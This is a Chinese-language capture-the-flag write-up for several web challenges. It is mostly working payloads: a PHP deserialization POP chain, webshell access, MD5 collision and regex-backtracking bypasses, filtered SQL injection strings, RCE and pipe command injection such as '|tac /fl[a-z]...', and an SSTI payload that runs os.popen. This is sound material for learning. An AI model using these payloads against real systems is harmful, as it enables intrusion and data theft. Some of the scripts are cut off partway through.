题目如下:
";
return $this->excalibuer->arrow;
}
}
class prepare{
public $release;
public function __get($key){
$functioin = $this->release;
echo "蓄力!咖喱棒!!
";
return $functioin();
}
}
class saber{
public $weapon;
public function __invoke(){
echo "胜利!
";
include($this->weapon);
}
}
class summon{
public $Saber;
public $Rider;
public function __wakeup(){
echo "开始召唤从者!
";
echo $this->Saber;
}
}
if(isset($_GET['payload'])){
unserialize($_GET['payload']);
}
?>
__wakeup()
方法在使用 unserialize()
函数从字符串中还原对象时,如果对象的类中定义了 __wakeup()
方法,那么在对象被反序列化后,该方法会被自动调用。
__invoke()
是一个魔术方法(Magic Method),在 PHP 中用于在对象被当作函数调用时自动调用。当我们将一个对象直接作为函数进行调用时,__invoke()
方法会被触发。
__get()
在 PHP 中用于访问对象中未定义或不可访问的属性时自动调用。当我们尝试获取一个对象的不存在或不可访问的属性时,__get()
方法会被触发。
__toString()
在 PHP 中用于将对象转换为字符串时自动调用。当我们试图将一个对象直接作为字符串进行输出或拼接时,__toString()
方法会被触发。
我构造反序列化pop链的习惯是从"出"到"入"开始构造,先找到要命令执行/文件读取的地方标记为1,层层递进,每一层都标记,最后再赋值,步骤如下:
";
return $this->excalibuer->arrow; //3,目的是触发__get(),我们留意到这里调用了$excalibuer里的arrow属性,显然类prepare里没有arrow属性,丢到这里刚好能触发__get()
}
}
class prepare{
public $release;
public function __get($key){
$functioin = $this->release; //2,把将 $this->release 属性赋值给了 $function
echo "蓄力!咖喱棒!!
";
return $functioin(); //在这里被当作函数调用,显而易见能把saber类丢给这里的$release
}
}
class saber{
public $weapon;
public function __invoke(){
echo "胜利!
";
include($this->weapon); //1,文件包含的地方标记为1,想要包含需要触发__invoke()的话需要找能把saber类当作函数触发的地方
}
}
class summon{
public $Saber;
public $Rider;
public function __wakeup(){
echo "开始召唤从者!
";
echo $this->Saber; //4,目的是触发刚刚第三层的tostring,这里有个echo
}
}
$s=new saber();
$s->weapon="php://filter/convert.base64-encode/resource=flag.php";
$pr=new prepare();
$pr->release=$s;
$a=new artifact();
$a->excalibuer=$pr;
$su=new summon();
$su->Saber=$a;
echo serialize($su);
?>
本来一开始直接weapon="flag.php",但是出不了,所以换成伪协议:
$s->weapon="php://filter/convert.base64-encode/resource=flag.php";
payload:
O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;}
题目:
提示了一句话密码为1,直接蚁剑连靶场,密码连1
进去就能看见flag1
根目录有flag2
flag3不可能一个个点,肯定是转去虚拟终端用命令找,在开虚拟终端之前看下.sh,一般都会放些提示
start.sh内容:
#!/bin/sh
sed -i "s/{{FLAG1}}/${FLAG:0:10}/" /var/www/localhost/htdocs/flag.php
echo ${FLAG:10:10} > /flag2
export FLAG3=${FLAG:20}
FLAG3=${FLAG:20}
export FLAG="flag"
FLAG="flag"
httpd -D FOREGROUND
我们就能知道,FLAG3 包含了 FLAG 变量的从第 21 个字符到末尾的部分,可以直接在虚拟终端输出 FLAG3 变量的值
那我们先进入虚拟终端,然后cd /去到根目录,然后在根目录输出FLAG3 变量的值
echo $FLAG3
别的命令不知道为什么不是返回不了,就是权限不够,都已经root了(?可能因为我对Linux还不够熟悉吧)比如
find / -type f -name "*flag*"
出来的全是拒绝访问,麻了
题目如下:
第一层MD5强比较绕过可以这样绕
Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
Param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
第二层,绕过intval()限制
intval() 转换数组类型时,不关心数组中的内容,只判断数组中有没有元素。
「空数组」返回 0
「非空数组」返回 1
实例:
var_dump(intval(array()));
var_dump(intval(array(3,2)));
输出:
int(0)
int(1)
所以这一层绕过就可以是:
zhurong[]=a
第三层的绕过关键在pan_gu利用正则最大回溯绕过,看到'/.+?ISCTF/is'
这种就要想到了,我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。
网上找的通用回溯poc如下,需要对应不同题目改脚本:
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa
这一题的脚本是:
import requests
url = "http://43.249.195.138:21812/?hongmeng=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&shennong=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&zhurong[]=a"
data = {
'pan_gu': 'aaaaaaaaaa' * 250000 + '2023ISCTF'
}
r = requests.post(url, data=data)
print(r.text)
一开始弱口令爆破同时扫目录,发现用户名是admin,密码是admin,但是登录了只是显示一行字,扫目录的结果基本没用
接下来尝试sql、xss、ssti这些,发现用户名的框有SQL注入漏洞,单引号闭合,替换了or,过滤空格
payload1:(成功闭合)
1' oorrder%09by%091#
爆数据库名:
username=-1'ANANDD%09updatexml(1,concat(0x7e,(sELECT%09database())),1)#&password=1
爆表名:
1'ANANDD%09extractvalue(1,concat(0x7e,(selselectect%09group_concat(table_name)%09from%09infoorrmation_schema.tables%09where%09table_schema=database()%09limit%090,1),0x7e))#&password=admin
爆字段名:
但是发现结果不能全展示出来
所以用到substring函数分段查询
SUBSTRING()
是一种用于提取字符串子串的SQL函数。它的语法通常如下:
SUBSTRING(string, start, length)
参数说明:
string
:要提取子串的字符串。start
:指定子串的起始位置,是一个整数值。起始位置从1开始计数。length
:可选参数,指定要提取的子串的长度。如果省略该参数,则会提取从起始位置到字符串末尾的所有字符。
使用SUBSTRING()
函数的示例:
SELECT SUBSTRING('Hello World', 7, 5); #结果为:
World
在这个示例中,我们从字符串 'Hello World'
中提取了从第7个字符开始的连续5个字符,即子串 'World'
。
爆表名payload,需要改变后substring两个的参数来拼接:
username=-1'ANANDD%09extractvalue(1,concat(0x7e,substring((selselectect%09group_concat(column_name)%09from%09infoorrmation_schema.columns%09where%09table_name='users'),1,50),0x7e))#&password=admin
一共有这些字段:
USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,user,password
猜测在小写的两个字段里,经过尝试发现flag在password字段里
最终payload:
username=-1'ANANDD%09extractvalue(1,concat(0x7e,substring((selselectect%09passwoorrd%09from%09users%09limit%092,1),1,80),0x7e))#&password=admin
由于一开始没加limit被提示返回不止一行,所以用limit 2,1,同样需要substring函数自己拼接来看flag
rce:
code=system('ca\t /f*')
code=system('ca"t /f*')
code=system('strings /f*')
dirsearch扫描出index.bak的备份文件和flag.php,以下为index.bak
function string_to_int_array(str){
const intArr = [];
for(let i=0;i
这是 java写的脚本,他有一处是让一个小写字母转换为两个大写字母,我们需要逆向写一个脚本(以下复制大佬脚本):
#include
#include
int main()
{
char b[100]="dxdydxdudxdtdxeadxekdxea";
for(int j=0;j<2;j++){
int tmp1=0,tmp2=0,sum=0,f=0;
//printf("%d\n",strlen(b));
for(int i=0;i
payload:
?mihoyo=php://filter/read=convert.base64-encode/resource=flag.php
[a-z]可以绕过任意一个字母,"|"没过滤可以放在开头结束前面的curl,然后再拼接系统命令
payload:
?file=|tac /fl[a-z]ggggggg.txt
?file=f{i}l{e}:///fla{g}gggggg.txt
无过滤ssti,直接注入,flag在环境变量里
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()")}}
UA头:
POST:
shell=system('cat /fl*');